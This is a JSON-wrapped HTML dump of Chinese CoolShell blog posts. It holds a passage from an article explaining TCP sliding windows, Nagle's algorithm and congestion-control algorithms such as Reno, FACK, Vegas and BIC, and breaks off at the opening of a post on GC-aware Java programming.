target=\"_blank\">tcp_rtt_estimator</a>）。</p>\n<h4>TCP滑动窗口</h4>\n<p>需要说明一下，如果你不了解TCP的滑动窗口这个事，你等于不了解TCP协议。我们都知道，<strong>TCP必需要解决的可靠传输以及包乱序（reordering）的问题</strong>，所以，TCP必需要知道网络实际的数据处理带宽或是数据处理速度，这样才不会引起网络拥塞，导致丢包。</p>\n<p>所以，TCP引入了一些技术和设计来做网络流控，Sliding Window是其中一个技术。 前面我们说过，<strong>TCP头里有一个字段叫Window，又叫Advertised-Window，这个字段是接收端告诉发送端自己还有多少缓冲区可以接收数据</strong>。<strong>于是发送端就可以根据这个接收端的处理能力来发送数据，而不会导致接收端处理不过来</strong>。 为了说明滑动窗口，我们需要先看一下TCP缓冲区的一些数据结构：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-11594\" height=\"179\" src=\"../wp-content/uploads/2014/05/sliding_window.jpg\" width=\"450\"/></p>\n<p>上图中，我们可以看到：</p>\n<ul>\n<li>接收端LastByteRead指向了TCP缓冲区中读到的位置，NextByteExpected指向的地方是收到的连续包的最后一个位置，LastByteRcved指向的是收到的包的最后一个位置，我们可以看到中间有些数据还没有到达，所以有数据空白区。</li>\n</ul>\n<ul>\n<li>发送端的LastByteAcked指向了被接收端Ack过的位置（表示成功发送确认），LastByteSent表示发出去了，但还没有收到成功确认的Ack，LastByteWritten指向的是上层应用正在写的地方。</li>\n</ul>\n<p>于是：</p>\n<ul>\n<li>接收端在给发送端回ACK中会汇报自己的AdvertisedWindow = MaxRcvBuffer – LastByteRcvd – 1;</li>\n</ul>\n<ul>\n<li>而发送方会根据这个窗口来控制发送数据的大小，以保证接收方可以处理。</li>\n</ul>\n<p>下面我们来看一下发送方的滑动窗口示意图：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11596\" height=\"270\" src=\"../wp-content/uploads/2014/05/tcpswwindows.png\" width=\"660\"/></p>\n<p style=\"text-align: center;\">（<a href=\"http://www.tcpipguide.com/free/t_TCPSlidingWindowAcknowledgmentSystemForDataTranspo-6.htm\" target=\"_blank\">图片来源</a>）</p>\n<p>上图中分成了四个部分，分别是：（其中那个黑模型就是滑动窗口）</p>\n<ul>\n<li>#1已收到ack确认的数据。</li>\n<li>#2发还没收到ack的。</li>\n<li>#3在窗口中还没有发出的（接收方还有空间）。</li>\n<li>#4窗口以外的数据（接收方没空间）</li>\n</ul>\n<p>下面是个滑动后的示意图（收到36的ack，并发出了46-51的字节）：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11597\" height=\"210\" src=\"../wp-content/uploads/2014/05/tcpswslide.png\" width=\"660\"/></p>\n<p>下面我们来看一个接受端控制发送端的图示：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11617\" height=\"836\" src=\"../wp-content/uploads/2014/05/tcpswflow.png\" width=\"666\"/></p>\n<p style=\"text-align: center;\">（<a href=\"http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm\" target=\"_blank\">图片来源</a>）</p>\n<h5 style=\"text-align: left;\">Zero Window</h5>\n<p style=\"text-align: left;\">上图，我们可以看到一个处理缓慢的Server（接收端）是怎么把Client（发送端）的TCP Sliding Window给降成0的。此时，你一定会问，如果Window变成0了，TCP会怎么样？是不是发送端就不发数据了？是的，发送端就不发数据了，你可以想像成“Window Closed”，那你一定还会问，如果发送端不发数据了，接收方一会儿Window size 可用了，怎么通知发送端呢？</p>\n<p style=\"text-align: left;\">解决这个问题，TCP使用了Zero Window Probe技术，缩写为ZWP，也就是说，发送端在窗口变成0后，会发ZWP的包给接收方，让接收方来ack他的Window尺寸，一般这个值会设置成3次，第次大约30-60秒（不同的实现可能会不一样）。如果3次过后还是0的话，有的TCP实现就会发RST把链接断了。</p>\n<p style=\"text-align: left;\"><strong>注意</strong>：只要有等待的地方都可能出现DDoS攻击，Zero Window也不例外，一些攻击者会在和HTTP建好链发完GET请求后，就把Window设置为0，然后服务端就只能等待进行ZWP，于是攻击者会并发大量的这样的请求，把服务器端的资源耗尽。（关于这方面的攻击，大家可以移步看一下<a href=\"http://en.wikipedia.org/wiki/Sockstress\" target=\"_blank\">Wikipedia的SockStress词条</a>）</p>\n<p style=\"text-align: left;\">另外，Wireshark中，你可以使用tcp.analysis.zero_window来过滤包，然后使用右键菜单里的follow TCP stream，你可以看到ZeroWindowProbe及ZeroWindowProbeAck的包。</p>\n<h5 style=\"text-align: left;\">Silly Window Syndrome</h5>\n<p>Silly Window Syndrome翻译成中文就是“糊涂窗口综合症”。正如你上面看到的一样，如果我们的接收方太忙了，来不及取走Receive Windows里的数据，那么，就会导致发送方越来越小。到最后，如果接收方腾出几个字节并告诉发送方现在有几个字节的window，而我们的发送方会义无反顾地发送这几个字节。</p>\n<p>要知道，我们的TCP+IP头有40个字节，为了几个字节，要达上这么大的开销，这太不经济了。</p>\n<p>另外，你需要知道网络上有个MTU，对于以太网来说，MTU是1500字节，除去TCP+IP头的40个字节，真正的数据传输可以有1460，这就是所谓的MSS（Max Segment Size）注意，TCP的RFC定义这个MSS的默认值是536，这是因为<span style=\"color: #252525;\"> </span><span class=\"reference-text\" style=\"color: #252525;\"><a class=\"external mw-magiclink-rfc\" href=\"http://tools.ietf.org/html/rfc791\" rel=\"nofollow\" style=\"color: #663366;\">RFC 791</a>里说了任何一个</span>IP设备都得最少接收576尺寸的大小（实际上来说576是拨号的网络的MTU，而576减去IP头的20个字节就是536）。</p>\n<p><strong>如果你的网络包可以塞满MTU，那么你可以用满整个带宽，如果不能，那么你就会浪费带宽</strong>。（大于MTU的包有两种结局，一种是直接被丢了，另一种是会被重新分块打包发送） 你可以想像成一个MTU就相当于一个飞机的最多可以装的人，如果这飞机里满载的话，带宽最高，如果一个飞机只运一个人的话，无疑成本增加了，也而相当二。</p>\n<p>所以，<strong>Silly Windows Syndrome这个现像就像是你本来可以坐200人的飞机里只做了一两个人</strong>。 要解决这个问题也不难，就是避免对小的window size做出响应，直到有足够大的window size再响应，这个思路可以同时实现在sender和receiver两端。</p>\n<ul>\n<li>如果这个问题是由Receiver端引起的，那么就会使用 David D Clark’s 方案。在receiver端，如果收到的数据导致window size小于某个值，可以直接ack(0)回sender，这样就把window给关闭了，也阻止了sender再发数据过来，等到receiver端处理了一些数据后windows size 大于等于了MSS，或者，receiver buffer有一半为空，就可以把window打开让send 发送数据过来。</li>\n</ul>\n<ul>\n<li>如果这个问题是由Sender端引起的，那么就会使用著名的<span style=\"color: #252525;\"> </span><a href=\"http://en.wikipedia.org/wiki/Nagle%27s_algorithm\" style=\"color: #0b0080;\" target=\"_blank\" title=\"Nagle's algorithm\">Nagle’s algorithm</a>。这个算法的思路也是延时处理，他有两个主要的条件：1）要等到 Window Size&gt;=MSS 或是 Data Size &gt;=MSS，2）收到之前发送数据的ack回包，他才会发数据，否则就是在攒数据。</li>\n</ul>\n<p>另外，Nagle算法默认是打开的，所以，对于一些需要小包场景的程序——<strong>比如像telnet或ssh这样的交互性比较强的程序，你需要关闭这个算法</strong>。你可以在Socket设置TCP_NODELAY选项来关闭这个算法（关闭Nagle算法没有全局参数，需要根据每个应用自己的特点来关闭）</p>\n<p><code class=\"EnlighterJSRAW\">setsockopt(sock_fd, IPPROTO_TCP, TCP_NODELAY, (char *)&amp;value,sizeof(int));</code></p>\n<p>另外，网上有些文章说<span style=\"color: #000000;\">TCP_CORK的socket option是也关闭Nagle算法，这不对。<strong>TCP_CORK其实是更新激进的Nagle算汉，完全禁止小包发送，而Nagle算法没有禁止小包发送，只是禁止了大量的小包发送</strong>。最好不要两个选项都设置。</span></p>\n<h4>TCP的拥塞处理 – Congestion Handling</h4>\n<p>上面我们知道了，TCP通过Sliding Window来做流控（Flow Control），但是TCP觉得这还不够，因为Sliding Window需要依赖于连接的发送端和接收端，其并不知道网络中间发生了什么。TCP的设计者觉得，一个伟大而牛逼的协议仅仅做到流控并不够，因为流控只是网络模型4层以上的事，TCP的还应该更聪明地知道整个网络上的事。</p>\n<p>具体一点，我们知道TCP通过一个timer采样了RTT并计算RTO，但是，<strong>如果网络上的延时突然增加，那么，TCP对这个事做出的应对只有重传数据，但是，重传会导致网络的负担更重，于是会导致更大的延迟以及更多的丢包，于是，这个情况就会进入恶性循环被不断地放大。试想一下，如果一个网络内有成千上万的TCP连接都这么行事，那么马上就会形成“网络风暴”，TCP这个协议就会拖垮整个网络。</strong>这是一个灾难。</p>\n<p>所以，TCP不能忽略网络上发生的事情，而无脑地一个劲地重发数据，对网络造成更大的伤害。对此TCP的设计理念是：<span style=\"color: #cc0000;\"><strong>TCP不是一个自私的协议，当拥塞发生的时候，要做自我牺牲。就像交通阻塞一样，每个车都应该把路让出来，而不要再去抢路了。</strong></span></p>\n<p>关于拥塞控制的论文请参看《<a href=\"http://ee.lbl.gov/papers/congavoid.pdf\" target=\"_blank\">Congestion Avoidance and Control</a>》(PDF)</p>\n<p>拥塞控制主要是四个算法：<strong>1）慢启动</strong>，<strong>2）拥塞避免</strong>，<strong>3）拥塞发生</strong>，<strong>4）快速恢复</strong>。这四个算法不是一天都搞出来的，这个四算法的发展经历了很多时间，到今天都还在优化中。 备注:</p>\n<ul>\n<li>1988年，TCP-Tahoe 提出了1）慢启动，2）拥塞避免，3）拥塞发生时的快速重传</li>\n<li>1990年，TCP Reno 在Tahoe的基础上增加了4）快速恢复</li>\n</ul>\n<h5>慢热启动算法 – Slow Start</h5>\n<p>首先，我们来看一下TCP的慢热启动。慢启动的意思是，刚刚加入网络的连接，一点一点地提速，不要一上来就像那些特权车一样霸道地把路占满。新同学上高速还是要慢一点，不要把已经在高速上的秩序给搞乱了。</p>\n<p>慢启动的算法如下(cwnd全称Congestion Window)：</p>\n<p style=\"padding-left: 30px;\">1）连接建好的开始先初始化cwnd = 1，表明可以传一个MSS大小的数据。</p>\n<p style=\"padding-left: 30px;\">2）每当收到一个ACK，cwnd++; 呈线性上升</p>\n<p style=\"padding-left: 30px;\">3）每当过了一个RTT，cwnd = cwnd*2; 呈指数让升</p>\n<p style=\"padding-left: 30px;\">4）还有一个ssthresh（slow start threshold），是一个上限，当cwnd &gt;= ssthresh时，就会进入“拥塞避免算法”（后面会说这个算法）</p>\n<p>所以，我们可以看到，如果网速很快的话，ACK也会返回得快，RTT也会短，那么，这个慢启动就一点也不慢。下图说明了这个过程。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11619\" height=\"388\" src=\"../wp-content/uploads/2014/05/tcp.slow_.start_.jpg\" width=\"662\"/></p>\n<p>这里，我需要提一下的是一篇Google的论文<span style=\"color: #000000;\">《<a href=\"http://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/36640.pdf\" target=\"_blank\">An Argument for Increasing TCP’s Initial Congestion Window</a>》Linux 3.0后采用了这篇论文的建议——把cwnd 初始化成了 10个MSS。</span> <span style=\"color: #000000;\">而Linux 3.0以前，比如2.6，Linux采用了<a href=\"http://www.rfc-editor.org/rfc/rfc3390.txt\" target=\"_blank\">RFC3390</a>，cwnd是跟MSS的值来变的，如果MSS&lt; 1095，则cwnd = 4；如果MSS&gt;2190，则cwnd=2；其它情况下，则是3。</span></p>\n<h5> 拥塞避免算法 – Congestion Avoidance</h5>\n<p>前面说过，还有一个ssthresh（slow start threshold），是一个上限，当cwnd &gt;= ssthresh时，就会进入“拥塞避免算法”。一般来说ssthresh的值是65535，单位是字节，当cwnd达到这个值时后，算法如下：</p>\n<p style=\"padding-left: 30px;\">1）收到一个ACK时，cwnd = cwnd + 1/cwnd</p>\n<p style=\"padding-left: 30px;\">2）当每过一个RTT时，cwnd = cwnd + 1</p>\n<p>这样就可以避免增长过快导致网络拥塞，慢慢的增加调整到网络的最佳值。很明显，是一个线性上升的算法。</p>\n<h5>拥塞状态时的算法</h5>\n<p>前面我们说过，当丢包的时候，会有两种情况：</p>\n<p style=\"padding-left: 30px;\">1）等到RTO超时，重传数据包。TCP认为这种情况太糟糕，反应也很强烈。</p>\n<ul>\n<ul>\n<li>sshthresh =  cwnd /2</li>\n<li>cwnd 重置为 1</li>\n<li>进入慢启动过程</li>\n</ul>\n</ul>\n<p style=\"padding-left: 30px;\">2）Fast Retransmit算法，也就是在收到3个duplicate ACK时就开启重传，而不用等到RTO超时。</p>\n<ul>\n<ul>\n<li>TCP Tahoe的实现和RTO超时一样。</li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li>TCP Reno的实现是：\n<ul>\n<li>cwnd = cwnd /2</li>\n<li>sshthresh = cwnd</li>\n<li>进入快速恢复算法——Fast Recovery</li>\n</ul>\n</li>\n</ul>\n</ul>\n<p>上面我们可以看到RTO超时后，sshthresh会变成cwnd的一半，这意味着，如果cwnd&lt;=sshthresh时出现的丢包，那么TCP的sshthresh就会减了一半，然后等cwnd又很快地以指数级增涨爬到这个地方时，就会成慢慢的线性增涨。我们可以看到，TCP是怎么通过这种强烈地震荡快速而小心得找到网站流量的平衡点的。</p>\n<h5>快速恢复算法 – Fast Recovery</h5>\n<p><span style=\"text-decoration: underline;\"><strong>TCP Reno</strong></span></p>\n<p><span style=\"color: #000000;\">这个算法定义在</span><a href=\"http://tools.ietf.org/html/rfc5681\" title='\"TCP Congestion Control\"'>RFC5681</a>。快速重传和快速恢复算法一般同时使用。快速恢复算法是认为，你还有3个Duplicated Acks说明网络也不那么糟糕，所以没有必要像RTO超时那么强烈。 <span style=\"color: #000000;\">注意，正如前面所说，进入Fast Recovery之前，cwnd 和 sshthresh已被更新：</span></p>\n<ul>\n<li>cwnd = cwnd /2</li>\n<li>sshthresh = cwnd</li>\n</ul>\n<p><span style=\"color: #000000;\">然后，真正的Fast Recovery算法如下：</span></p>\n<ul>\n<li>cwnd = sshthresh  + 3 * MSS （3的意思是确认有3个数据包被收到了）</li>\n<li>重传Duplicated ACKs指定的数据包</li>\n<li>如果再收到 duplicated Acks，那么cwnd = cwnd +1</li>\n<li>如果收到了新的Ack，那么，cwnd = sshthresh ，然后就进入了拥塞避免的算法了。</li>\n</ul>\n<p>如果你仔细思考一下上面的这个算法，你就会知道，<strong>上面这个算法也有问题，那就是——它依赖于3个重复的Acks</strong>。注意，3个重复的Acks并不代表只丢了一个数据包，很有可能是丢了好多包。但这个算法只会重传一个，而剩下的那些包只能等到RTO超时，于是，进入了恶梦模式——超时一个窗口就减半一下，多个超时会超成TCP的传输速度呈级数下降，而且也不会触发Fast Recovery算法了。</p>\n<p>通常来说，正如我们前面所说的，SACK或D-SACK的方法可以让Fast Recovery或Sender在做决定时更聪明一些，但是并不是所有的TCP的实现都支持SACK（SACK需要两端都支持），所以，需要一个没有SACK的解决方案。而通过SACK进行拥塞控制的算法是FACK（后面会讲）</p>\n<p><span style=\"text-decoration: underline;\"><strong>TCP New Reno</strong></span></p>\n<p><span style=\"color: #252525;\">于是，1995年，TCP New Reno（参见 </span><a class=\"external mw-magiclink-rfc\" href=\"http://tools.ietf.org/html/rfc6582\" rel=\"nofollow\" style=\"color: #663366;\">RFC 6582</a> ）算法提出来，主要就是在没有SACK的支持下改进Fast Recovery算法的——</p>\n<ul>\n<li>当sender这边收到了3个Duplicated Acks，进入Fast Retransimit模式，开发重传重复Acks指示的那个包。如果只有这一个包丢了，那么，重传这个包后回来的Ack会把整个已经被sender传输出去的数据ack回来。如果没有的话，说明有多个包丢了。我们叫这个ACK为Partial ACK。</li>\n</ul>\n<ul>\n<li>一旦Sender这边发现了Partial ACK出现，那么，sender就可以推理出来有多个包被丢了，于是乎继续重传sliding window里未被ack的第一个包。直到再也收不到了Partial Ack，才真正结束Fast Recovery这个过程</li>\n</ul>\n<p>我们可以看到，这个“Fast Recovery的变更”是一个非常激进的玩法，他同时延长了Fast Retransmit和Fast Recovery的过程。</p>\n<h5>算法示意图</h5>\n<p>下面我们来看一个简单的图示以同时看一下上面的各种算法的样子：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-11621\" height=\"239\" src=\"../wp-content/uploads/2014/05/tcp.fr_-1024x359.jpg\" width=\"680\"/></p>\n<p> </p>\n<h5>FACK算法</h5>\n<p>FACK全称Forward Acknowledgment 算法，论文地址在这里（PDF）<a href=\"http://conferences.sigcomm.org/sigcomm/1996/papers/mathis.pdf\" target=\"_blank\">Forward Acknowledgement: Refining TCP Congestion Control</a> 这个算法是其于SACK的，前面我们说过SACK是使用了TCP扩展字段Ack了有哪些数据收到，哪些数据没有收到，他比Fast Retransmit的3 个duplicated acks好处在于，前者只知道有包丢了，不知道是一个还是多个，而SACK可以准确的知道有哪些包丢了。 所以，SACK可以让发送端这边在重传过程中，把那些丢掉的包重传，而不是一个一个的传，但这样的一来，如果重传的包数据比较多的话，又会导致本来就很忙的网络就更忙了。所以，FACK用来做重传过程中的拥塞流控。</p>\n<ul>\n<li>这个算法会把SACK中最大的Sequence Number 保存在<strong>snd.fack</strong>这个变量中，snd.fack的更新由ack带秋，如果网络一切安好则和snd.una一样（snd.una就是还没有收到ack的地方，也就是前面sliding window里的category #2的第一个地方）</li>\n</ul>\n<ul>\n<li>然后定义一个<strong>awnd = snd.nxt – snd.fack</strong>（snd.nxt指向发送端sliding window中正在要被发送的地方——前面sliding windows图示的category#3第一个位置），这样awnd的意思就是在网络上的数据。（所谓awnd意为：actual quantity of data outstanding in the network）</li>\n</ul>\n<ul>\n<li>如果需要重传数据，那么，<strong>awnd = snd.nxt – snd.fack + retran_data</strong>，也就是说，awnd是传出去的数据 + 重传的数据。</li>\n</ul>\n<ul>\n<li>然后触发Fast Recovery 的条件是： (<strong> ( snd.fack – snd.una ) &gt; (3*MSS) </strong>) || (dupacks == 3) ) 。这样一来，就不需要等到3个duplicated acks才重传，而是只要sack中的最大的一个数据和ack的数据比较长了（3个MSS），那就触发重传。在整个重传过程中cwnd不变。直到当第一次丢包的snd.nxt&lt;=snd.una（也就是重传的数据都被确认了），然后进来拥塞避免机制——cwnd线性上涨。</li>\n</ul>\n<p>我们可以看到如果没有FACK在，那么在丢包比较多的情况下，原来保守的算法会低估了需要使用的window的大小，而需要几个RTT的时间才会完成恢复，而FACK会比较激进地来干这事。 但是，FACK如果在一个网络包会被 reordering的网络里会有很大的问题。</p>\n<h4>其它拥塞控制算法简介</h4>\n<h5><strong>TCP Vegas 拥塞控制算法</strong></h5>\n<p>这个算法1994年被提出，它主要对TCP Reno 做了些修改。这个算法通过对RTT的非常重的监控来计算一个基准RTT。然后通过这个基准RTT来估计当前的网络实际带宽，如果实际带宽比我们的期望的带宽要小或是要多的活，那么就开始线性地减少或增加cwnd的大小。如果这个计算出来的RTT大于了Timeout后，那么，不等ack超时就直接重传。（Vegas 的核心思想是用RTT的值来影响拥塞窗口，而不是通过丢包） 这个算法的论文是《<a class=\"external text\" href=\"http://www.cs.cmu.edu/~srini/15-744/F02/readings/BP95.pdf\" rel=\"nofollow\" style=\"color: #663366;\" target=\"_blank\">TCP Vegas: End to End Congestion Avoidance on a Global Internet</a>》这篇论文给了Vegas和 New Reno的对比：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-11626\" height=\"369\" src=\"../wp-content/uploads/2014/05/tcp_vegas_newreno-1024x555.jpg\" width=\"680\"/></p>\n<p>关于这个算法实现，你可以参看Linux源码：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.h\" target=\"_blank\">/net/ipv4/tcp_vegas.h</a>， <a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.c\" target=\"_blank\">/net/ipv4/tcp_vegas.c</a></p>\n<h5></h5>\n<h5 style=\"color: #000000;\">HSTCP(High Speed TCP) 算法</h5>\n<p>这个算法来自<a href=\"http://tools.ietf.org/html/rfc3649\" target=\"_blank\">RFC 3649</a>（<a href=\"http://en.wikipedia.org/wiki/HSTCP\" target=\"_blank\">Wikipedia词条</a>）。其对最基础的算法进行了更改，他使得Congestion Window涨得快，减得慢。其中：</p>\n<ul>\n<li>拥塞避免时的窗口增长方式： cwnd = cwnd + α(cwnd) / cwnd</li>\n<li>丢包后窗口下降方式：cwnd = (1- β(cwnd))*cwnd</li>\n</ul>\n<p>注：α(cwnd)和β(cwnd)都是函数，如果你要让他们和标准的TCP一样，那么让α(cwnd)=1，β(cwnd)=0.5就可以了。 对于α(cwnd)和β(cwnd)的值是个动态的变换的东西。 关于这个算法的实现，你可以参看Linux源码：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_highspeed.c\" target=\"_blank\">/net/ipv4/tcp_highspeed.c</a></p>\n<h5> TCP BIC 算法</h5>\n<p>2004年，产内出BIC算法。现在你还可以查得到相关的新闻《Google：<a href=\"https://www.google.com/search?lr=lang_zh-CN%7Clang_zh-TW&amp;newwindow=1&amp;biw=1366&amp;bih=597&amp;tbs=lr%3Alang_1zh-CN%7Clang_1zh-TW&amp;q=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D&amp;oq=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D\" target=\"_blank\">美科学家研发BIC-TCP协议 速度是DSL六千倍</a>》 BIC全称<a href=\"http://research.csc.ncsu.edu/netsrv/?q=content/bic-and-cubic\" target=\"_blank\">Binary Increase Congestion control</a>，在Linux 2.6.8中是默认拥塞控制算法。BIC的发明者发这么多的拥塞控制算法都在努力找一个合适的cwnd – Congestion Window，而且BIC-TCP的提出者们看穿了事情的本质，其实这就是一个搜索的过程，所以BIC这个算法主要用的是Binary Search——二分查找来干这个事。 关于这个算法实现，你可以参看Linux源码：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_bic.c\" target=\"_blank\">/net/ipv4/tcp_bic.c</a></p>\n<h5>TCP WestWood算法</h5>\n<p><span style=\"color: #000000;\">westwood采用和Reno相同的慢启动算法、拥塞避免算法。</span><span style=\"color: #000000;\">westwood的主要改进方面：在发送端做带宽估计，当探测到丢包时，根据带宽值来设置拥塞窗口、</span><span style=\"color: #000000;\">慢启动阈值。</span> 那么，这个算法是怎么测量带宽的？每个RTT时间，会测量一次带宽，测量带宽的公式很简单，就是这段RTT内成功被ack了多少字节。因为，这个带宽和用RTT计算RTO一样，也是需要从每个样本来平滑到一个值的——也是用一个加权移平均的公式。 另外，我们知道，如果一个网络的带宽是每秒可以发送X个字节，而RTT是一个数据发出去后确认需要的时候，所以，X * RTT应该是我们缓冲区大小。所以，在这个算法中，ssthresh的值就是est_BD * min-RTT(最小的RTT值)，如果丢包是Duplicated ACKs引起的，那么如果cwnd &gt; ssthresh，则 cwin = ssthresh。如果是RTO引起的，cwnd = 1，进入慢启动。   关于这个算法实现，你可以参看Linux源码： <a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_westwood.c\" target=\"_blank\">/net/ipv4/tcp_westwood.c</a></p>\n<h5>其它</h5>\n<p>更多的算法，你可以从Wikipedia的 <a href=\"http://en.wikipedia.org/wiki/TCP_congestion-avoidance_algorithm\" target=\"_blank\">TCP Congestion Avoidance Algorithm</a> 词条中找到相关的线索</p>\n<h4> 后记</h4>\n<p>好了，到这里我想可以结束了，TCP发展到今天，里面的东西可以写上好几本书。本文主要目的，还是把你带入这些古典的基础技术和知识中，希望本文能让你了解TCP，更希望本文能让你开始有学习这些基础或底层知识的兴趣和信心。</p>\n<p>当然，TCP东西太多了，不同的人可能有不同的理解，而且本文可能也会有一些荒谬之言甚至错误，还希望得到您的反馈和批评。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22263.html\"><img alt=\"从一次经历谈 TIME_WAIT 的那些事\" height=\"150\" src=\"../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11564.html\"><img alt=\"TCP 的那些事儿（上）\" height=\"150\" src=\"../wp-content/uploads/2014/05/tin-can-phone-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11564.html\">TCP 的那些事儿（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1484.html\"><img alt=\"TCP网络关闭的状态变换时序图\" height=\"150\" src=\"../wp-content/uploads/2009/09/tcp1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-5-7 面向GC的Java编程.html",
    "content": "<html><body><p><strong>（感谢网友 <a href=\"http://weibo.com/tbmujian\" target=\"_blank\">@Hesey小纯纯</a> 投稿  <a href=\"http://blog.hesey.net/\" target=\"_blank\">博客</a> |　<a href=\"http://blog.hesey.net/2014/05/gc-oriented-java-programming.html\" target=\"_blank\">原文链接</a>）</strong></p>\n<p>Java程序员在编码过程中通常不需要考虑内存问题，JVM经过高度优化的GC机制大部分情况下都能够很好地处理堆(Heap)的清理问题。以至于许多Java程序员认为，我只需要关心何时创建对象，而回收对象，就交给GC来做吧！甚至有人说，如果在编程过程中频繁考虑内存问题，是一种退化，这些事情应该交给编译器，交给虚拟机来解决。</p>\n<p>这话其实也没有太大问题，的确，大部分场景下关心内存、GC的问题，显得有点“杞人忧天”了，高老爷说过：</p>\n<p style=\"padding-left: 30px;\">过早优化是万恶之源。</p>\n<p>但另一方面，<strong>什么才是“过早优化”？</strong></p>\n<p style=\"padding-left: 30px;\">If we could do things right for the first time, why not?</p>\n<p>事实上<strong>JVM的内存模型</strong>( <a href=\"http://www.cs.umd.edu/~pugh/java/memoryModel/\" target=\"_blank\">JMM</a> )理应是Java程序员的基础知识，处理过几次JVM线上内存问题之后就会很明显感受到，很多系统问题，都是内存问题。</p>\n<p>对JVM内存结构感兴趣的同学可以看下 <a href=\"http://blog.hesey.net/2011/04/introduction-to-java-virtual-machine.html\" target=\"_blank\">浅析Java虚拟机结构与机制</a> 这篇文章，本文就不再赘述了，本文也并不关注具体的GC算法，相关的文章汗牛充栋，随时可查。</p>\n<p>另外，不要指望GC优化的这些技巧，可以对应用性能有成倍的提高，特别是对I/O密集型的应用，或是实际落在YoungGC上的优化，可能效果只是帮你减少那么一点YoungGC的频率。</p>\n<p>但我认为，<strong>优秀程序员的价值，不在于其所掌握的几招屠龙之术，而是在细节中见真著</strong>，就像前面说的，<strong>如果我们可以一次把事情做对，并且做好，在允许的范围内尽可能追求卓越，为什么不去做呢？</strong><span id=\"more-11541\"></span></p>\n<h4>一、GC分代的基本假设</h4>\n<p>大部分GC算法，都将堆内存做分代(Generation)处理，但是为什么要分代呢，又为什么不叫内存分区、分段，而要用面向时间、年龄的“代”来表示不同的内存区域？</p>\n<p>GC分代的<strong>基本假设</strong>是：</p>\n<p style=\"padding-left: 